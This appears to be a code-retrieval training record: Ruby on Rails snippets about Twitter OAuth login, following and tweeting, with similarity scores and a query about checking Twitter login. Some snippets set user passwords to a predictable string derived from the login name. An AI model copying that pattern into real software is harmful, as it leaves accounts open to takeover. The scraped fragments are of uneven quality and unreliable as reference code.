e\n Rails.logger.error \"Twitter Follow Failed. Shelby user: #{current_user.id}. Trying to follow: #{params[:twitter_user_name]}. Error: #{e}\"\n end\n end\n \n @status = 200\n render 'v1/blank'\n end", "def disconnect_twitter\n current_user.twitter_token = nil\n current_user.twitter_secret = nil\n current_user.save!\n redirect_to request.referer, notice: 'Disconnected from Twitter'\n end", "def disconnect_twitter\n current_user.twitter_token = nil\n current_user.twitter_secret = nil\n current_user.save!\n redirect_to request.referer, notice: 'Disconnected from Twitter'\n end", "def get_twitter(npo)\n\t\trequire 'net/http'\n\t\trequire 'rexml/document'\n\n begin\n\n res = Net::HTTP.get(URI.parse(\"http://api.twitter.com/1/users/show.xml?screen_name=#{npo.twitter}\"))\n document = REXML::Document.new(res)\n\n if document.root.elements[2]\n document.root.elements[2].expanded_name == 'error' ? nil : npo.twitter\n end\n rescue\n nil\n end\n\tend", "def following_email(user, follower)\n @user, @follower = user, follower\n mail(to: user.email, subject: \"#{follower.id} is now following your tweets!\")\n end", "def twitter?; twitter.to_s != \"\" end", "def tweet(content)\n @followers.each do |follower|\n puts(\"#{follower.name} received a tweet from #{@name}: #{content}\" )\n end\n end", "def tweet\n \"<blockquote class='twitter-tweet' lang='en'><p lang='en' dir='ltr'>\" + tweet_text + \n \"</p>&mdash;\" + twitter_user + \"<a href='\" + twitter_url + \"'>\" + tweet_date + \n \"</a></blockquote><script async src='//platform.twitter.com/widgets.js' charset='utf-8'></script>\"\n end", "def tweet\n\t\treturn \"AHHP! Pretty bird!\"\n\tend", "def fetch_details_from_twitter\n\t\t# twitter_object = Twitter::Client.new(\n\t\t# \t:oauth_token => self.token,\n\t\t# \t:oauth_token_secret => self.secret\n\t\t# \t)\n\t\t# twitter_data = Twitter.user(self.uid.to_i)\n\t\t# self.username = twitter_data.username\n\t\t# self.save\n\t\t# self.user.username = twitter_data.username if self.user.username.blank?\n\t\t# self.user.image = twitter_data.profile_image_url if self.user.image.blank?\n\t\t# self.user.location = twitter_data.location if self.user.location.blank?\n\t\t# self.user.save(:validate => false)\n\t\tself.user.has_twitter = true\n\t\tself.user.save\n\tend", "def twitter_share_url(options = {})\n \"https://twitter.com/share?#{options.to_query}\"\n end", "def find_twitter_handle\n self.match(/(\\@\\w+)/i)\n return $1\n end", "def tweet\n return \"Arrrr matey\"\n end", "def show\n set_up_twitter\n\n get_last_tweet\n get_five_last_tweets\n end", "def twitter_url\n\t\ttwitter = []\n\t\ttext = html.search(\"a\").text.split(\" \")\n\t\ttext.each do |element|\n\t\t\tif element.to_s.match(/@/)\n\t\t\t\ttwitter << element\n\t\t\tend\n\t\tend\n\t\t\treturn twitter\n\tend", "def follow_mairies(handle)\n# connexion a twitter\nclient = Twitter::REST::Client.new do |config|\n \tconfig.consumer_key = ENV[\"TWITTER_API_KEY\"]\n \tconfig.consumer_secret = ENV[\"TWITTER_API_SECRET\"]\n \tconfig.access_token = ENV[\"TWITTER_TOKEN_KEY\"]\n \tconfig.access_token_secret = ENV[\"TWITTER_TOKEN_SECRET\"]\nend\n# permet de suivre chaue pseudo passé en arguement\n\tbegin\n \tclient.follow(handle) #supprime le @\n \trescue Twitter::Error::TooManyRequests => error\n \tsleep error.rate_limit.reset_in\n \tretry\n \traise\n end\nend", "def find_followers\n puts 'Enter the other user\\'s twitter handle'\n @other_user = gets\n @followers = Twitter.follower_ids(@other_user).ids\nend" ]
[ "0.78661543", "0.73285854", "0.7265497", "0.7256906", "0.7228", "0.7225449", "0.7190844", "0.71783227", "0.7130772", "0.7085071", "0.7058437", "0.7017137", "0.69061947", "0.68787605", "0.6850809", "0.6839857", "0.6756167", "0.67295533", "0.670247", "0.67005837", "0.6655384", "0.66305566", "0.66225994", "0.6597713", "0.65919936", "0.6556725", "0.65539926", "0.65427995", "0.6476783", "0.6453369", "0.64499867", "0.64489615", "0.6434091", "0.6433775", "0.6406589", "0.6406025", "0.6403445", "0.6395458", "0.63841856", "0.63837075", "0.6381191", "0.637813", "0.63575846", "0.6351793", "0.6351082", "0.63485914", "0.63461167", "0.6331411", "0.6310984", "0.63054717", "0.63051474", "0.6302864", "0.6280648", "0.62440985", "0.6209598", "0.62040174", "0.6200502", "0.6197658", "0.61975527", "0.6191743", "0.6191743", "0.61902887", "0.61865073", "0.6173824", "0.61721325", "0.61334425", "0.6126849", "0.6115186", "0.6095632", "0.60927665", "0.6085301", "0.60849166", "0.6083297", "0.60743773", "0.606896", "0.6056043", "0.6054649", "0.6047338", "0.60448414", "0.6010803", "0.6010803", "0.5998443", "0.5996757", "0.5993191", "0.5990232", "0.5990232", "0.5988089", "0.5986447", "0.5982465", "0.5981417", "0.59759", "0.59752035", "0.59506005", "0.5948939", "0.5943541", "0.5928711", "0.59201485", "0.59154177", "0.5911181", "0.5905179" ]
0.7762805
1
Check that the user is logged in with twitter
def check_twitter_credentials if session['twitter_token'].blank? || session['twitter_secret'].blank? redirect_to new_user_registration_path, :error => "Debes linkear tu cuenta de twitter antes de continuar" and return end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def twitter_user?\n return true if is_logged_in? && (session[:request_token] && session[:request_token_secret] && session[:twitter_id])\n end", "def twitter_login?\n\t\tself.uid ? true : false\n\tend", "def connected_to_twitter?\n twitter_token && twitter_secret\n end", "def twitter?\n self.twitter_token && self.twitter_secret\n end", "def twitter?\n provider_name == 'Twitter'\n end", "def twitter?\n false\n end", "def twitter_profile?\n @network = current_user.network ||= Network.new\n !(@network.twitter.nil? || @network.twitter.blank?)\n end", "def authenticated_with_twitter_list?\n twitter_client.authorized? && list_members(twitter_client).include?(twitter_client.info['screen_name'])\n end", "def twitter?\n self.provider == 'twitter'\n end", "def twitter_check\n begin\n unless twitter.blank?\n RestClient.get \"twitter.com/#{twitter}\"\n end\n rescue\n errors.add :base, \"Invalid Twitter account.\"\n end\n end", "def twitter\n\t\thandle_omniauth_callback(request.env['omniauth.auth'])\n\tend", "def check_tweet_for_user\n if @tweet.user_id != current_user.id\n flash[:notice] = \"Not allowed!\"\n redirect_to tweets_url\n return\n end\n end", "def twitter\n unless @twitter_user\n provider = self.authentications.find_by_provider('twitter')\n @twitter_user = Twitter::Client.new(:oauth_token => provider.token, :oauth_token_secret => provider.secret )rescue nil\n end\n @twitter_user\n end", "def twitter_register_enabled?\n Figaro.env.respond_to?(:twitter_key) && Figaro.env.respond_to?(:twitter_secret)\n end", "def twitter\n default_oauth_callback do |auth|\n # username may already be taken, user will have to enter another one\n if User.exists? username: auth.info.nickname\n redirect_to controller: '/registrations', action: 'twitter_screen_name_clash'\n else\n default_oauth_fail\n end\n end\n end", "def twitter_connect\n access_token = OAuth::AccessToken.new(UserSession.oauth_consumer, self.oauth_token, self.oauth_secret)\n user_info = JSON.parse(access_token.get(\"https://twitter.com/account/verify_credentials.json\").body)\n\n self.login = user_info['screen_name']\n self.twitter_name = user_info['name']\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'twitter'\n self.save\n end", "def tweet(tweet_message)\n if !current_user.nil?\n begin\n @testing = current_user.twitter.post('/statuses/update','status' => tweet_message) \n return 0\n rescue \n return 1\n end\n else\n # redirect to log in page is user does not logged in\n return 2\n end\n end", "def twitter\n handle_oauth\n end", "def twitter_connect\n access_token = OAuth::AccessToken.new(UserSession.oauth_consumer, self.oauth_token, self.oauth_secret)\n user_info = JSON.parse(access_token.get(\"https://twitter.com/account/verify_credentials.json\").body)\n self.twitter_name = user_info['name']\n self.twitter_screen_name = user_info['screen_name']\n self.login = 'twitter_' + user_info['screen_name']\n self.password = \"5uttr33_#{self.login}\"\n self.signup_source = 'twitter'\n self.save\n end", "def tw_authorized?\n self.tw_access_token.present? & self.tw_access_token_secret.present?\n end", "def twitter\n @user = current_user\n if params[:oauth_verifier]\n if @user.user_content.twitter_token.blank?\n clientTwitter = TwitterOAuth::Client.new(:consumer_key => TwitterEnv::API_KEY, :consumer_secret => TwitterEnv::SECRET_KEY)\n pin = params[:oauth_verifier]\n access_token = clientTwitter.authorize(session[:rtoken_twitter], session[:rsecret_twitter], :oauth_verifier => pin)\n @user.user_content.twitter_token = access_token.token\n @user.user_content.twitter_secret = access_token.secret\n @user.user_content.save\n else\n clientTwitter = TwitterOAuth::Client.new(\n :consumer_key => TwitterEnv::API_KEY,\n :consumer_secret => TwitterEnv::SECRET_KEY,\n :token => @user.user_content.twitter_token, \n :secret => @user.user_content.twitter_secret)\n end\n end\n \n redirect_to \"/backend/social\"\n end", "def twitter_user\n @twitter_user ||= prepare_access_token(self.token, self.secret)\n end", "def apply_twitter(omniauth)\n if (extra = omniauth['extra']['user_hash'] rescue false)\n end\n end", "def twitter\n if twitter?\n return self.twitter_client if self.twitter_client\n self.twitter_client = TwitterOAuth::Client.new(\n :consumer_key => TWITTER_CONSUMER_KEY,\n :consumer_secret => TWITTER_CONSUMER_SECRET,\n :token => self.twitter_token,\n :secret => self.twitter_secret\n )\n else\n false\n end\n end", "def proc_twitter_login\n \n # If user is already logged in, grab session variables\n if session[:user_name] && !session[:user_name].empty?\n @real_name = session[:real_name] \n @user_name = session[:user_name]\n @user_image = session[:user_image] \n else\n # If user is not logged in, grab authentication varaibles\n @real_name = request.env['rack.auth']['user_info']['name']\n @user_name = request.env['rack.auth']['user_info']['nickname']\n @user_image = request.env['rack.auth']['user_info']['image']\n \n session[:user_name] = @user_name\n session[:real_name] = @real_name\n session[:user_image] = @user_image \n end\n \n @exists = false\n @user_id = -1\n \n puts \"Checking if user already exists in database...\"\n \n # Check if user already exists in database\n User.all.each do |user|\n if user[:twitter] == @user_name\n @exists = true\n @user_id = user.id\n session[:user_id] = @user_id\n break;\n end\n end\n \n # User does not exist in database. Add new user\n if !@exists\n new_user = User.new( :twitter => @user_name, :name => @real_name )\n new_user.save\n \n @user_id = new_user.id\n session[:user_id] = @user_id\n end\n\n # Redirect to the user home page\n redirect_to :action => \"home\" \n end", "def authenticate!\n session = DeviseTwitterAnywhere::Twitter::Session.new(cookies, params)\n\n if session.valid?\n klass = mapping.to\n user = klass.authenticate_twitter_user session.uid\n\n if user.blank? && klass.twitter_auto_create_account?\n user = klass.new\n user.twitter_session = session\n user.set_twitter_credentials_from_session!\n user.run_callbacks :create_by_twitter do\n begin\n user.save(:validate => klass.run_validations_when_creating_twitter_user)\n rescue ActiveRecord::RecordNotUnique\n fail!(:not_unique_user_on_creation) and return\n end\n end\n\n if klass.run_validations_when_creating_twitter_user && !user.persisted?\n fail!(:invalid_twitter_user_on_creation) and return\n end\n end\n\n if user.present? && user.persisted?\n user.twitter_session = session\n user.run_callbacks :connecting_to_twitter do\n success!(user) and return\n end\n else\n fail!(:twitter_user_not_found_locally) and return\n end\n else\n fail!(:invalid_twitter_session) and return\n end\n end", "def twitter\n \toauth.authorize_from_access(oauth_token, oauth_secret)\n\t @twitter ||= Twitter::Base.new(oauth)\n end", "def authenticate_user!\n session[:user_return_to] = env['PATH_INFO']\n redirect_to user_omniauth_authorize_path(:twitter) unless user_signed_in?\n end", "def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end", "def twitter?; twitter.to_s != \"\" end", "def tumblr_authorized?\n !!(session[:tumblr_oauth_token] && session[:tumblr_oauth_token_secret])\n end", "def user_connect_to_twitter(user)\n access = nil\n if user.twitter_token\n user_credentials = @t_credentials.clone # Keep consumer token\n # but override with user's access token\n user_credentials[:access_token] = user.twitter_token\n user_credentials[:access_token_secret] = user.twitter_secret\n# puts \"Using this token for #{user.ublog_name}: #{user_credentials[:access_token]}/#{user_credentials[:access_token_secret]}\"\n begin\n access = TwitterAPI::Access.new(user_credentials)\n rescue StandardError, Timeout::Error\n puts \"Failed to access Twitter for user #{user.ublog_name}:\\n\" + $!\n # Didn't expect this. User needs to get new token sometime.\n end\n end\n access\n end", "def twitter_user\n @twitter_user ||= TwitterClient.new.user(@user)\n end", "def set_twitter_user\n @twitter_user = current_user.twitter_users.find(params[:id])\n end", "def before_save\n if self.access_token.blank?\n self.authenticated = Twitter::Client.new.authenticate?(self.username, self.password)\n end\n \n return true\n end", "def twitter\n callback_from :twitter\n end", "def logged_in?\n !session[:user_id].nil? #&& User.find(session[:user_id]).owns(@current_site)\n end", "def verify_credentials\n return false unless has_credentials? # make sure we actually have an api token set\n begin\n if defined?(@api)\n valid = twitter_api.client.authorized?\n else\n twitter_api # just fetching it the first time does an authorized check\n valid = true\n end\n rescue InvalidToken => ex\n valid = false\n rescue Exception => ex\n valid = true # non twitter validation error assume ok since could be network issue\n end\n valid\n end", "def check_auth\n if session[:zombie_id] != @tweet.zombie_id\n flash[:notice] = \"Sorry, you can't edit this tweet\"\n redirect_to zombie_tweets_path \n end\n end", "def logged_in?\n !current_utente.nil?\n end", "def twitter\n handle_callback(:twitter)\n end", "def is_logged_in?\n !session[:author_id].nil?\n end", "def twitter\n omniauth = request.env['omniauth.auth']\n\n render :text => 'Error: Omniauth is empty' and return unless omniauth\n name = omniauth['extra']['access_token'].params[:screen_name] || ''\n uid = omniauth['extra']['access_token'].params[:user_id] || ''\n provider = omniauth['provider'] ? omniauth['provider'] : ''\n\n # continue only if provider and uid exist\n if uid == '' or provider == ''\n flash[:error] = 'Error while authenticating '\n redirect_to new_user_session_path\n end\n\n if user_signed_in?\n # check if this service is already linked to his/her account, if not, add it\n auth = Service.find_by_provider_and_uid(provider, uid)\n if !auth\n current_user.services.create(:provider => provider, :uid => uid, :uname => name)\n flash[:notice] = 'Sign in via ' + provider.capitalize + ' has been added to your account.'\n redirect_to root_path\n else\n flash[:notice] = service_route.capitalize + ' is already linked to your account.'\n redirect_to root_path\n end\n end\n\n auth = Service.find_by_provider_and_uid(provider, uid)\n if auth\n # already has everything to login\n flash[:notice] = 'Signed in successfully via ' + provider.capitalize + '.'\n sign_in_and_redirect(:user, auth.user)\n else\n unless name == ''\n existinguser = User.find_by_name(name)\n # we have such user in database\n if existinguser\n existinguser.services.create(:provider => provider, :uid => uid, :uname => name)\n flash[:notice] = 'Sign in via ' + provider.capitalize + ' has been added to your account ' + existinguser.email + '. Signed in successfully!'\n sign_in_and_redirect(:user, existinguser)\n # no such user yet\n else\n # let's create a new user: register this user and add this authentication method for this user\n name = name[0, 39] if name.length > 39 # otherwise our user validation will hit us\n # new user, set email, a random password and take the name from the authentication service\n # twitter users does not have email, so we set it here to some value\n user = User.new(:password => SecureRandom.hex(10), :name => name, :email => \"#{name}@example.com\")\n\n # add this authentication service to our new user\n user.services.build(:provider => provider, :uid => uid, :uname => name)\n\n # do not send confirmation email, we directly save and confirm the new record\n user.save!\n\n # flash and sign in\n flash[:myinfo] = 'Your account has been created via ' + provider.capitalize + '. In your profile you can change your personal information and add a local password.'\n sign_in user\n redirect_to root_path\n end\n end\n end\n end", "def logged_in?\n end", "def logged_in?\n !session[:user_id].nil?\n end", "def logged_in?\n !session[:user_id].nil?\n end", "def logged_in?\n !session[:user_id].nil?\n end", "def logged_in?\n !session[:user_id].nil?\n end", "def share_to_twitter?\n self.tweet_id == TWSharing::Underway\n end", "def twitter_url\n twitter_user.blank? ? nil : \"#{TWITTER_URL}#{twitter_user}\"\n end", "def logged_in?\n !session[:email].nil?\n end", "def log_in_into_twitter\n @client = Twitter::REST::Client.new do |config|\n\t\t config.consumer_key = ENV['TWITTER_CONSUMER_KEY']\n\t\t config.consumer_secret = ENV['TWITTER_CONSUMER_SECRET']\n\t\t config.access_token = ENV['TWITTER_ACCESS_TOKEN']\n\t\t config.access_token_secret = ENV['TWITTER_ACCESS_SECRET']\n end\n end", "def request_twitter_credentials(request)\n request.performRequestWithHandler(-> (response_data, url_response, error) do\n if error\n callback_if_exists_with_error(error)\n else\n authenticate_with_twitter_credentials(response_data)\n end\n end)\n end", "def click_on_login_with_twitter_button\n\n click_on TWITTER_BUTTON_LOGIN_MODAL\n\n end", "def logged_in?\n current_user.present? # True neu user login\n end", "def user_is_logged_in?\n !!session[:user_id]\n end", "def callback\n @request_token = OAuth::RequestToken.new(TwitterauthController.consumer, session[:request_token], session[:request_token_secret])\n # Exchange the request token for an access token.\n @access_token = @request_token.get_access_token\n @response = TwitterauthController.consumer.request(:get, '/account/verify_credentials.json', @access_token, { :scheme => :query_string })\n case @response\n when Net::HTTPSuccess\n user_info = JSON.parse(@response.body)\n unless user_info['screen_name']\n flash[:notice] = \"Authentication failed\"\n redirect_to :action => :index\n return\n end\n @user = User.find_or_initialize_by_twitter_id(user_info['id'])\n if @user.new_record? || @user.twitter_token != @access_token.token\n @user.twitter_token = @access_token.token\n @user.twitter_secret = @access_token.secret\n @user.save!\n end\n # Store the user in the session\n UserSession.create(@user)\n # Redirect to the show page\n redirect_back_or_default root_url\n else\n RAILS_DEFAULT_LOGGER.error \"Failed to get user info via OAuth\"\n # The user might have rejected this application. Or there was some other error during the request.\n flash[:notice] = \"Authentication failed\"\n redirect_to login_url\n return\n end\n end", "def logged_in?\n if current_user\n true\n else\n false\n end\n end", "def twitter\n auth = request.env['omniauth.auth']\n current_user.company.create_or_update_twitter_account(auth)\n\n flash.notice = 'Authorized Twitter account successfully.'\n redirect_to twitter_accounts_path\n end", "def logged_in?\n\t\t !!current_user\n end", "def logged_in?\n session[:uid] != nil\n end", "def logged_in?\n session[:uid] != nil\n end", "def is_me?\n return self.user.email == session[:email]\n end", "def logged_in?\r\n current_user != :false\r\n end", "def set_twitter_user\n @twitter_user = TwitterUser.find(params[:id])\n end", "def logged_in?\n current_user != :false \n end", "def logged_in?\n if current_user\n true\n else \n false\n end\n end", "def is_twitter_taken(db, twitter)\n\n # Return true if twitter is on database\n if db.execute('SELECT 1 FROM users WHERE twitter=?', twitter).length > 0 then\n return true\n else\n return false\n end\nend", "def logged_in_normal_user?\n normal_user.present?\n end", "def logged_in?\n current_profile != nil\n end", "def user_logged_in?\n session[:user_id].present?\n end", "def _is_login\n p session[:user]\n session[:user] ? true : false\n end", "def logged_in?()\n if session[:user_id]\n return true\n else \n return false\n end\n end", "def auth?\n me != nil\n end", "def logged_in?\n return session[:user_id].present?\n end", "def user_is_logged_in?\n !!session[:user_id]\n end", "def logged_in?\n \t!current_user.nil?\n !current_provider.nil?\n end", "def is_logged_in?\n !session[:user_email].nil?\n end", "def login_twitter\n\t\tclient = Twitter::REST::Client.new do |config|\n\t\t config.consumer_key = ENV[\"TWITTER_CONSUMER_KEY\"]\n\t\t config.consumer_secret = ENV[\"TWITTER_CONSUMER_SECRET\"]\n\t\t config.access_token = ENV[\"TWITTER_ACCESS_TOKEN\"]\n\t\t config.access_token_secret = ENV[\"TWITTER_ACCESS_TOKEN_SECRET\"]\n\t\tend\n\tend", "def logged_in?\n hubssolib_logged_in?\n end", "def logged_in?\n current_user != :false\n end", "def logged_in?\n current_user != :false\n end", "def connect_twitter\n auth = request.env[\"omniauth.auth\"]\n current_member.twitter_token = auth[\"credentials\"][\"token\"]\n current_member.twitter_secret = auth[\"credentials\"][\"secret\"]\n current_member.twitter_id = auth[\"uid\"]\n if current_member.img_url.blank?\n current_member.username = auth.info.name\n current_member.img_url = auth.info.image\n\t end\n current_member.save\n\t TwitterModel.store_urls(current_member)\n\t redirect_to members_social_sign_up_path\n end", "def logout_from_twitter\n response = twitter_user.request(:post, configatron.api_call_url + \"account/end_session.json\")\n end", "def logged_in?\n if session[:int_key].nil? || session[:email].nil? || session[:password].nil? || session[:logged_in].nil?\n false\n else\n true\n end\n end", "def twitter_callback\n\t if I18n.locale == :en\n\t \tflash[:notice] = \"Connected to Twitter successfully!\"\n\t else I18n.locale == :ar\n\t \tflash[:notice] = \"تم التواصل مع تويتر بنجاح!\"\n\t end\n\t auth = request.env[\"omniauth.auth\"]\n authentication = Authentication.find_by_provider_and_gid(auth[\"provider\"],\n current_gamer.id) || Authentication.create_with_omniauth(auth,\n current_gamer)\n redirect_to \"/gamers/edit\"\n return\n\tend", "def logged_in?\n !current_teacher.nil?\n end", "def logged_in?\n !current_teacher.nil?\n end", "def logged_in?\n !!current_user #return true or false if current_user is exist\n end", "def logged_in?\n session[:user_id]\n end", "def user_logged_in?\n current_user.present?\n end", "def user_logged_in?\n current_user.present?\n end", "def logged_in?\n !current_user.nil?\n end", "def logged_in?\n !current_user.nil?\n end", "def logged_in?\n !session['userhash'].nil? &&\n $redis.get('userhash:'+session['userhash']) == session['user'] &&\n !User.get(session['user']).nil?\n end", "def current_user\n @current_user ||= TwitterUser.where(twitter_id: session[:current_user]).first\n rescue\n ensure_logout\n end", "def logged_in\n current_user != nil\n end", "def get_twitter_status\n logger.info 'Getting twitter'\n begin\n c = Grackle::Client.new\n twitter = c.statuses.user_timeline?(:screen_name => 'paulcarlile', :count => 2)\n rescue Grackle::TwitterError\n twitter = Grackle::TwitterError\n end\n end", "def logged_in?\n !!(cookie && (cookie =~ /reddit_session/) != nil)\n end", "def logged_in?\n !current_user.blank?\n end" ]
[ "0.8536491", "0.80822074", "0.80571604", "0.7699492", "0.7342331", "0.73290724", "0.7321295", "0.72783655", "0.7248837", "0.722955", "0.7156141", "0.7115674", "0.7006099", "0.6995784", "0.69734746", "0.68619156", "0.6844345", "0.6838051", "0.6817137", "0.6770883", "0.6752597", "0.6735643", "0.67106557", "0.6707677", "0.66836625", "0.66777205", "0.66414285", "0.6598864", "0.6589506", "0.6561129", "0.65569055", "0.6530824", "0.65192175", "0.65109354", "0.6506991", "0.6482886", "0.64730537", "0.6466631", "0.6453607", "0.6423239", "0.6405621", "0.6391777", "0.63806653", "0.6363869", "0.63629603", "0.63629603", "0.63629603", "0.63629603", "0.6348121", "0.63452274", "0.6325826", "0.63223785", "0.6322231", "0.6318818", "0.63181007", "0.63104004", "0.63100547", "0.63030946", "0.62982816", "0.62957287", "0.6286275", "0.6286275", "0.628525", "0.6283026", "0.62822205", "0.6281952", "0.6280175", "0.6279072", "0.6268326", "0.62677866", "0.6265784", "0.62651116", "0.6260724", "0.6255094", "0.6250396", "0.6244628", "0.6243129", "0.6243128", "0.6231551", "0.6230823", "0.6230293", "0.6230293", "0.6229067", "0.62287223", "0.6224271", "0.6220387", "0.62188613", "0.62188613", "0.6217219", "0.621664", "0.62121445", "0.62121445", "0.62082803", "0.62082803", "0.6206873", "0.62066317", "0.6204809", "0.62044996", "0.62041605", "0.620301" ]
0.7660423
4
Use callbacks to share common setup or constraints between actions.
def set_item @item = Item.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def 